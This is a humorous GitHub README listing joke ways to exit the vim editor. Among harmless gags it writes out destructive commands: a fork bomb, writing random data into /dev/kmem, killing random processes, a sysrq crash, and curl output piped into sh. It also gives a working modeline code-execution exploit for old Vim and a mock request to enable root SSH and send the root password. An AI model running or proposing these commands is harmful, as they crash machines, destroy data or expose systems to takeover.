hakluke/how-to-exit-vim
{ "createdAt": "2019-09-25T13:36:25Z", "defaultBranch": "master", "description": "Below are some simple methods for exiting vim.", "fullName": "hakluke/how-to-exit-vim", "homepage": "https://hakluke.com", "language": null, "name": "how-to-exit-vim", "pushedAt": "2024-06-13T12:41:55Z", "stargazersCount": 7142, "topics": [ "vim" ], "updatedAt": "2025-11-25T06:48:56Z", "url": "https://github.com/hakluke/how-to-exit-vim"}How to exit vim
Section titled “How to exit vim”Below are some simple methods for exiting vim.
For real vim (and hacking) tips, follow hakluke and tomnomnom on twitter.
The simple way
Section titled “The simple way”Credit: @tomnomnom
:!ps axuw | grep vim | grep -v grep | awk '{print $2}' | xargs kill -9Video tutorial:
Section titled “Video tutorial:”The ps-less way
Section titled “The ps-less way”Credit: @tomnomnom
:!kill -9 $(find /proc -name "cmdline" 2>/dev/null | while read procfile; do if grep -Pa '^vim\x00' "$procfile" &>/dev/null; then echo $procfile; fi; done | awk -F'/' '{print $3}' | sort -u)The ps-less way using status files
Section titled “The ps-less way using status files”Credit: @hakluke
:!find /proc -name status | while read file; do echo "$file: "; cat $file | grep vim; done | grep -B1 vim | grep -v Name | while read line; do sed 's/^\/proc\///g' | sed 's/\/.*//g'; done | xargs kill -9The ps-less process tree way
Section titled “The ps-less process tree way”Credit: @kpumuk
:!grep -P "PPid:\t(\d+)" /proc/$$/status | cut -f2 | xargs kill -9The first contact way
Section titled “The first contact way”Credit: @caseyjohnellis ![Jeffrey Way]!(assets/first-contact-way.png)
The lazy pythonic using shell way
Section titled “The lazy pythonic using shell way”Credit: @PozziSan
python -c "from os import system; system('killall -9 vim')"The pythonic way
Section titled “The pythonic way”Credit: @hakluke
:py3 import os,signal;from subprocess import check_output;os.kill(int(check_output(["pidof","vim"]).decode('utf-8')),signal.SIGTERM)The pure perl way
Section titled “The pure perl way”:!perl -e 'while(</proc/*>){open($f, "$_/cmdline"); kill 9, substr($_,6) if <$f> =~ m|^vim\x00| }'The Rustacean’s way
Section titled “The Rustacean’s way”Credit: @wodny
- Reimplement vim in Rust.
- Call the project
rim. - Run
rim. - Exit
rimusing a borrowed command, ie.:q!.
The lazy rubist using shell way
Section titled “The lazy rubist using shell way”Credit: @rynaro
$ ruby -e 'system("killall -9 vim")'The rubist way
Section titled “The rubist way”Credit: @rynaro
$ ruby -e 'pid = `pidof vim`; Process.kill(9, pid.to_i)'The Colon-less way
Section titled “The Colon-less way”Credit: @w181496
In insert mode:
<C-R>=system("ps axuw | grep vim | grep -v grep | awk '{print $2}' | xargs kill -9")The remote way
Section titled “The remote way”Credit: @eur0pa
In vi:
:%!( key="kill-vi-$RANDOM"; nc -l 8888 | if grep $key; then pgrep '^vi$' | xargs kill; fi; ) &Remotely:
$ while true; do curl http://vi-host:8888/kill-vi-$RANDOM; donevi will eventually exit
Locally (the cheaty, lazy way, why even bother):
$ curl "http://localhost:8888/$(ps aux | grep -E -o 'kill-vi-[0-9]+')"The hardware way
Section titled “The hardware way”Credit: @Jorengarenar
Pull the plug out
The hardware expert way
Section titled “The hardware expert way”Use VIMKiller! The most practical physical solution to all your VIM troubles. It only costs 500,000 USD!
The timeout way
Section titled “The timeout way”Credit: @aarongorka
Before running vim, make sure to set a timeout:
$ timeout 600 vimNever forget to set a timeout again:
$ alias vim='timeout 600 vim'Make sure to save regularly.
The Russian Roulette timeout way
Section titled “The Russian Roulette timeout way”When you want to spice things up a bit:
$ timeout $RANDOM vimThe Shoot First, Ask Questions Later way
Section titled “The Shoot First, Ask Questions Later way”Credit: @aliva
$ ps axuw | awk '{print $2}' | grep -v PID | shuf -n 1 | sudo kill -9The “all against the odds” Russian Roulette way
Section titled “The “all against the odds” Russian Roulette way”Credit: @cfrost
When you want to spice things up a bit more:
:!ps axuw | sort -R | head -1 | awk '{print $2}' | xargs kill -9The physics way
Section titled “The physics way”Credit: @eyemyth
Accumulate a sufficient amount of entropy.
The reboot way
Section titled “The reboot way”Credit: @tctovsli
In vi:
:!sudo rebootThe using vim against itself way (executing the buffer)
Section titled “The using vim against itself way (executing the buffer)”Open Vim to empty buffer and type:
i:qa!<esc>Y:@"<cr>The AppleScript way
Section titled “The AppleScript way”Credit: @dbalatero
In Mac terminal vi:
Replace “iTerm” with your terminal application of choice:
:let script="activate application \"iTerm\"\ntell application \"System Events\"\n keystroke \":\"\n keystroke \"q\"\n keystroke \"a\"\n keystroke \"!\"\n key code 36\nend tell" | call writefile(split(script, "\n", 1), '/tmp/exit-vim.scpt', 'b') | !osascript /tmp/exit-vim.scptThe Mac Activity Monitor way
Section titled “The Mac Activity Monitor way”Credit: @dbalatero
let script="activate application \"Activity Monitor\"\ntell application \"System Events\"\n\tkeystroke \"f\" using {option down, command down}\n\tkeystroke \"vim\"\n\n\ttell process \"Activity Monitor\"\n\t\ttell outline 1 of scroll area 1 of window 1\n\t\t\tselect row 1\n\n\t\t\tkeystroke \"q\" using {option down, command down}\n\t\t\tkey code 36\n\t\tend tell\n\tend tell\nend tell\n" | call writefile(split(script, "\n", 1), '/tmp/exit-vim.scpt', 'b') | !osascript /tmp/exit-vim.scptThe MacBook Pro Touch Bar way
Section titled “The MacBook Pro Touch Bar way”Credit: @IA_Baby46
Touch quit vim text in your touch bar
The Mac Terminal way
Section titled “The Mac Terminal way”Press ⌘+q > Click Terminate
The Passive Way
Section titled “The Passive Way”Walk away.
The Passive-Aggressive Way
Section titled “The Passive-Aggressive Way”!bash -c "💣(){ 💣|💣& };💣"…then walk away. (n.b. That’s a fork bomb, please don’t try at home.)
The Microsoft Way
Section titled “The Microsoft Way”Credit: @cheezmeister
!powershell.exe /c "get-process gvim | stop-process"The C way
Section titled “The C way”Credit: @dbalatero
:let script=['#define _POSIX_SOURCE', '#include <signal.h>', '', "int main() {", " kill(" . getpid() . ", SIGKILL);", ' return 0;', '}'] | call writefile(script, '/tmp/exit_vim.c', 'b') | execute "!gcc /tmp/exit_vim.c -o /tmp/exit_vim" | execute "! /tmp/exit_vim"The Emacs way
Section titled “The Emacs way”Credit: @dbalatero
:let command='emacs --batch --eval=''(shell-command "kill -9 ' . getpid() . '")'' --kill' | execute "!" . commandThe Vim way
Section titled “The Vim way”Credit: @david50407
:let command='vim ''+\\!kill -9 ' . getpid() . ''' +qall -es' | execute "!" . commandThe Client-Server way
Section titled “The Client-Server way”Credit: @tartansandal
If +clientserver is enabled — typically the case for the GUI — you can simply
:!gvim --remote-send ':q\!<CR>'The Yolo Way
Section titled “The Yolo Way”Credit: @ryanc
Don’t run this, it could break your computer.
:!echo b | sudo tee -a /proc/sysrq-triggerThe layered Method
Section titled “The layered Method”Credit: @mashuptwice
:!python -c "import os ; os.system(\"ssh localhost kill -9 $(pgrep vim >tmpfile && grep -P '\d+' tmpfile | sed 's/\(.*\)/\1/g' | cat && rm tmpfile) \")"Bonus: still stuck if multiple vim instances are running
The epileptic Method
Section titled “The epileptic Method”Credit: @mashuptwice
:!timeout 10 yes "Preparing to exit vim. It might seem that this takes an unreasonable ammount of time and processing power, but instead of complaining you could just enjoy the show\!" | lolcat ; pgrep vim | xargs kill -9May the magnificent colors help you to forget the emotional damage caused by exiting vim!
The Abstinence Method
Section titled “The Abstinence Method”Credit: @ryanc
$ alias vim=/bin/trueThe Passive-Aggressive Abstinence Method
Section titled “The Passive-Aggressive Abstinence Method”Credit: @donkoch
$ alias vim=/bin/falseThe shortest way
Section titled “The shortest way”Credit: @MasterDevX
:!x=$(echo "c"); x=$x$(echo "G"); x=$x$(echo "t"); x=$x$(echo "p"); x=$x$(echo "b"); x=$x$(echo "G"); x=$x$(echo "w"); x=$x$(echo "g"); x=$x$(echo "L"); x=$x$(echo "V"); x=$x$(echo "N"); x=$x$(echo "U"); x=$x$(echo "T"); x=$x$(echo "1"); x=$x$(echo "A"); x=$x$(echo "g"); x=$x$(echo "d"); x=$x$(echo "m"); x=$x$(echo "l"); x=$x$(echo "t"); x=$x$(echo "C"); x=$x$(echo "g"); x=$x$(echo "="); x=$x$(echo "="); $(echo $x | base64 --decode)The suspend way
Section titled “The suspend way”Credit: @theBenRaskin
^Z ps axuw | grep vim | grep -v grep | awk '{print $2}' | xargs kill -9The Minimal, Open-Source way
Section titled “The Minimal, Open-Source way”Credit: @Jbwasse2
NOTE: ONLY RUN THIS IF YOU REALLY, REALLY TRUST @Jbwasse2 TO RUN CODE ON YOUR COMPUTER
:silent !git clone https://github.com/Jbwasse2/exit_vim_script.git ^@ source exit_vim_script/exit_vimThe Acceptance Way
Section titled “The Acceptance Way”Credit: @praveenscience
Just stay in Vim 😊 🤘🏻
The Webmaster Way
Section titled “The Webmaster Way”Credit: @dosisod
:!echo "<?php if (isset(\$_POST[\"x\"])) {exec(\"killall -s 15 vim\");exec(\"killall -9 vim;reset\");echo(\"<span id='x'>Done\!</span>\");}else {echo(\"<form action='\#' method='post'><button type='submit' name='x' id='x'>Click here to exit vim</button></form>\");}echo(\"<style>html,body{width:100\%,height:100\%}\#x{font-family:monospace;position:fixed;top:50\%;left:50\%;transform:translate(-50\%,-50\%);background:\#7adaff;border:none;font-size:4em;transition:background 500ms ease-out;border-radius: 500px;color:black;padding:15px;}\#x:hover{background:\#7eff7a;}</style>\");?>">index.php;php -S 0.0.0.0:1234&disown;firefox --new-window 0.0.0.0:1234&disownThe Docker way
Section titled “The Docker way”Credit: @tartansandal
If you run Vim in a docker container like:
docker run --name my-vim -v `pwd`:/root thinca/vimthen you would normally exit vim by stopping the associated container:
docker stop my-vimThe Kernel way
Section titled “The Kernel way”Credit: @idoasher
run vim as root and run this when you want to exit:
:!printf "\#include <linux/init.h>\n\#include <linux/module.h>\n\#include <linux/sched/signal.h>\n\#include <linux/string.h>\nMODULE_LICENSE(\"GPL\");int __init i(void){struct task_struct* p;for_each_process(p){if (strcmp(p->comm, \"vim\") == 0){printk(KERN_ALERT \"found a vim \%\%d\\\n\", p->pid);send_sig(SIGKILL, p, 0);}}return 0;}void e(void){return;}module_init(i);module_exit(e);" > k.c; printf "ifneq (\$(KERNELRELEASE),)\n\tobj-m := k.o\nelse\n\tKERNELDIR ?= /lib/modules/\$(shell uname -r)/build\n\tPWD := \$(shell pwd)\nmodules:\n\techo \$(MAKE) -C \$(KERNELDIR) M=\$(PWD) LDDINC=\$(PWD)/../include modules\n\t\$(MAKE) -C \$(KERNELDIR) M=\$(PWD) LDDINC=\$(PWD)/../include modules\nendif\n\nclean: \n\trm -rf *.o *~ core .depend *.mod.o .*.cmd *.ko *.mod.c \\\\\n\t.tmp_versions *.markers *.symvers modules.order\n\ndepend .depend dep:\n\t\$(CC) \$(CFLAGS) -M *.c > .depend\n\nifeq (.depend,\$(wildcard .depend))\n\tinclude .depend\nendif" >Makefile; make; insmod k.ko; rmmod k.ko; make clean; rm k.c MakefileThe even more Extreme Kernel Way
Section titled “The even more Extreme Kernel Way”Credit: @penelopezone
Warning, this may break your entire computer
:!sudo dd if=/dev/urandom of=/dev/kmemThe Android way
Section titled “The Android way”Credit: @deletescape
Close the Termux app.
The extreme Android way
Section titled “The extreme Android way”Credit: @deletescape
Run vim inside Termux and run this when you want to exit:
:!su -c killall zygoteThe JavaScript way
Section titled “The JavaScript way”const ps = require('ps-node');
ps.lookup({ command: 'vim' }, function(error, resultList) { resultList.forEach(function(process) { if (process) { ps.kill(process.pid); } });});The Kubernetes way
Section titled “The Kubernetes way”Credit: @Evalle
If you run Vim in Kubernetes pod like:
kubectl run --generator=run-pod/v1 my-vim --image=thinca/vimthen you would normally exit Vim by deleting the associated Kubernetes pod:
kubectl delete po my-vimThe Vim inside of Vim inside of Vim inside of Vim… inside of Vim way
Section titled “The Vim inside of Vim inside of Vim inside of Vim… inside of Vim way”Credit: @maxattax97
:while 1 | execute "terminal vim" | call feedkeys("i:terminal vim\<CR>") | endwhileLet “automatic garbage collector” do it for you
Section titled “Let “automatic garbage collector” do it for you”Credit: @artem-nefedov
Much like your favorite programming language, your OS has built-in garbage collector. It will close stuff for you, so you don’t have to.
^Z$ disownNow it’s not your problem anymore. Process will close automatically upon next reboot/shutdown.
The Product Manager way
Section titled “The Product Manager way”Credit: @mqchen
- Create new Jira issue.
- Set priority to A - Critical.
- Assign to random team member.
The Experienced Product Manager way
Section titled “The Experienced Product Manager way”Credit: @mqchen
- Create new Jira issue.
- Set priority to A - Critical, Epic link and Components.
- Write Given-When-Then acceptance criteria.
- Schedule estimation workshop meeting.
- Conduct estimation meeting with Planning Poker cards.
- Prioritize in next sprint.
- Assign to random team member.
- Conduct acceptance test.
- Review burn down chart together with the team.
- Schedule retrospective.
The spiritual way
Section titled “The spiritual way”Credit: @Janice-M
- Take a cleansing bath
- Weditate
- Sage your house
- Place crystals on your laptop
- Burn your laptop and whole house down
- Set your slack status to ‘away’ indefinitely
- Move to the forest
The tmux way
Section titled “The tmux way”Credit: @vcoutasso
Inside a tmux session:
Ctrl+B :kill-sessionalternativelycd
Ctrl+B x yNote that Ctrl+B is the default prefix. For different prefixes, the command must be adjusted accordingly.
The Mathematician’s way
Section titled “The Mathematician’s way”Define yourself outside vim.
The Intern way
Section titled “The Intern way”Credit: @johnoct
- Don’t even try to exit on your own
- Ask Senior right away
The Mandalorian way
Section titled “The Mandalorian way”:let hash=sha256("$$$ this is the way $$$") | exe nr2char(hash[49:51]).hash[-3:-3]."!"The debugger way
Section titled “The debugger way”Credit: @serjepatoff
Linux
$ gdb `which vim`(gdb) r <Enter>Ctrl-Z q <Enter> y <Enter>Mac
$ lldb `which vim`(lldb) r <Enter>Ctrl-C q <Enter> <Enter>The libcall way
Section titled “The libcall way”Credit: @k-takata
Windows
Section titled “Windows”:call libcallnr('kernel32.dll', 'ExitProcess', 0)The Vagrant way
Section titled “The Vagrant way”Credit: @85danf
To run vim:
mkdir -p /tmp/vimcd /tmp/vimvagrant init --minimal hashicorp/bionic64vagrant sshvimTo exit vim, open another shell, then:
cd /tmp/vimvagrant haltThe consonant cluster way
Section titled “The consonant cluster way”Credit: @wchargin
To exit, saving all files, simply incant (in normal mode):
qqqqqZZ@qq@qThe customer success way
Section titled “The customer success way”Credit: @85danf
- Schedule emergency meeting with R&D about ‘worrisome trends apparent in recent support tickets metrics’
- Present ability to exit vim as probable root cause
- Wait as developers argue and mansplain stuff
- Schedule follow up meeting for next quarter
- Not your problem anymore
The Matrix way
Section titled “The Matrix way”Credit: @85danf
“There is no vim”
The SEO Manager way
Section titled “The SEO Manager way”Credit: @mikulabc
how to exit vimvim exit helpvim exit guideexit himhow exit vim:call libcallnr('libc.so.6', 'exit', 0)The canonical way
Section titled “The canonical way”Credit: @ligurio
:!qThe Scrum manager way
Section titled “The Scrum manager way”- Call in a meeting, early in the morning
- Tell everybody what a good job they are doing.
- Tell everybody that there is still a lot to do.
- Tell everybody that “we” can do it.
- Remind them of the importance of team work.
- Go through the tickets.
- Tell the project manager that a ticket for closing Vim is missing.
- Write a ticket called “As a user I want to exit Vim!” on your own. 8.1. While reminding everybody that this is not the proper process.
- Discuss new ticket in group.
- Reword ticket as “As a user I want to be able to open other applications!”
- Ask who of the team wants to do this.
- Postpone decision until the next meeting.
the pure BASH way
Section titled “the pure BASH way”Credit @u2mejc
:!kill -9 $PPIDThe Newbie Way
Section titled “The Newbie Way”git commit???
^x ^x ^x ^d ^c afawfuhi WHAT IS GOING ON faffae ^xIn Google:
"what is default text editor for git?" | "How to exit vim"the SSH way
Section titled “the SSH way”Credit @u2mejc
~.Quit as a Service (QaaS)
Section titled “Quit as a Service (QaaS)”- Add the following to
/etc/ssh/sshd_config:PermitRootLogin yes,PasswordAuthentication yes - Start sshd server
- Open ssh port (default 22) on your firewall(s) and forward the same port on your router.
- Send me the following info: Your root password; Your IP address/domain and port of sshd server. I recommend you test that it works before sending.
- I will kill vim for you!
The astronomer’s way
Section titled “The astronomer’s way”Credit: @idisposable
from secrets import randbits
def heat_death(): return False
def increase_entropy(): return randbits(64)
while heat_death()==False: increase_entropy();
print('The universe is dead, VIM no longer exists');The Jeffrey Way
Section titled “The Jeffrey Way”![Jeffrey Way]!(assets/jeffrey.jpeg)
The Entry Level Software Engineer way
Section titled “The Entry Level Software Engineer way”- Try CTRL+C
- Ask a senior engineer
- Have senior engineer direct you to how-to-exit-vim
The [Obligatory] Emacs Way
Section titled “The [Obligatory] Emacs Way”$ echo 'alias vim=emacs' >> ~/.bashrc$ source ~/.bashrcNote: does not exit a running instance of Vim, but resolves future issues.
The AWS Way
Section titled “The AWS Way”- In AWS EC2, select Launch Instance.
- Launch an EC2 instance with a Linux based AMI.
- ssh into the newly created EC2 instance
ssh -i <ec2 keypair pem location> ec2-user@<ec2 instance ip address>- Launch vim
vim- In the AWS EC2, select the newly created EC2 instance and terminate the instance.
The Matryoshka Way
Section titled “The Matryoshka Way”Credit: @ccw630
:!$SHELLThe AWS CLI Way
Section titled “The AWS CLI Way”!aws --region `ec2-metadata --availability-zone | sed 's/placement: \(.*\).$/\1/'` ec2 stop-instances --instance-ids `wget -q -O - http://169.254.169.254/latest/meta-data/instance-id`The Arbitrary Code Execution Way
Section titled “The Arbitrary Code Execution Way”Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
- Create a file (say
quit.txt) with the following data:
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt- Ensure that the modeline option has not been disabled.
echo "set modeline" >> .vimrc- Open
quit.txt.
:e! quit.txtThe Circuit Breaker Way
Section titled “The Circuit Breaker Way”Credit:@Tomcat-42
- Leave your computer
- Find the nearest electrical circuit breaker panel
- Switch off and on the main breaker
- Return to your computer
- Your computer should no longer be running vim
Note: This approach prove itself ineffective against notebooks, desktops on a UPS or remote servers.
The Ansible Way
Section titled “The Ansible Way”Credit: @lpmi-13
run vim.yml playbook with the following contents:
---- hosts: vimbox
vars: required_packages: - vim
tasks: - name: install python 2 raw: test -e /usr/bin/python || (apt -y update && apt install -y python-minimal)
- name: Update APT package cache apt: update_cache: yes
- name: Run apt-get upgrade apt: upgrade=safe
- name: Install required packages apt: state=installed pkg={{ item }} with_items: "{{ required_packages }}"
- name: Start Vim in the background. shell: "(vim >/dev/null 2>&1 &)"
- name: Quit Vim. shell: "(pkill vim)"The Stack Overflow Way
Section titled “The Stack Overflow Way”Credit: @cobaltblu27
Yeah exiting vim is really frustrating sometimes. You should definately try using Neovim. It’s fast, has terminal emulator, and also supports plugin that will help you exit vim.
The Go Way
Section titled “The Go Way”Credit: @youshy
- Make sure that you have Go installed
- Write a whole application to find and kill vim
package main
import ( "bytes" "io/ioutil" "log" "os" "path/filepath" "strconv" "strings")
func TerminateVim(path string, info os.FileInfo, err error) error { var proc []int if strings.Count(path, "/") == 3 { if strings.Contains(path, "/status") { pid, err := strconv.Atoi(path[6:strings.LastIndex(path, "/")]) if err != nil { return err } f, err := ioutil.ReadFile(path) if err != nil { return err } name := string(f[6:bytes.IndexByte(f, '\n')]) if name == "vim" { log.Printf("pid %v name %v\n", pid, name) proc = append(proc, pid) } for _, p := range proc { proc, err := os.FindProcess(p) if err != nil { return err } proc.Kill() } return nil } } return nil}
func main() { err := filepath.Walk("/proc", TerminateVim) if err != nil { log.Fatalln(err) } log.Printf("Killed vim\n")}- Run with
go run .or make executable usinggo build -o VimKill
The github-remote simple what-could-go-wrong way
Section titled “The github-remote simple what-could-go-wrong way”Credit: @ckuma
:!((grep -m 1 "^:\!ps axuw" | cut -c3- | sh) <<< $(curl -vsL https://github.com/hakluke/how-to-exit-vim/raw/master/README.md 2>&1))The zig stage1 way
Section titled “The zig stage1 way”Credit: @tauoverpi
echo "pub fn main() !noreturn { unreachable; }" > vimkill.zig; zig build-exe vimkill.zigThis eventually exhausts memory on the machine which gives the OOM killer a chance to kill vim.
The Flipper Zero / BadUSB / Ducky Script way
Section titled “The Flipper Zero / BadUSB / Ducky Script way”Credit: @0xphk
- set correct keyboard layout in FlipperZero (<config)
- if using Duck Toolkit, set keyboard layout in sidebar
- if using PayloadStudio, set keyboard layout in settings
- tested on FlipperZero and WHID Cactus
DELAY 1000ESCAPEDELAY 500STRING :q!DELAY 500ENTERThe linux x86-64 assembly way
Section titled “The linux x86-64 assembly way”Credit: @NguyenLe1605
Based on the C way of @dbalatero
:let script = ['.intel_syntax noprefix', '.global _start', '_start:', 'mov rdi, ' . getpid() . '', 'mov rsi, 9', 'mov rax, 62', 'syscall', 'mov rax, 60', 'syscall'] | call writefile(script, '/tmp/exit_vim.S', 'b') | execute "!gcc -nostdlib /tmp/exit_vim.S -o /tmp/exit_vim" | execute "! /tmp/exit_vim"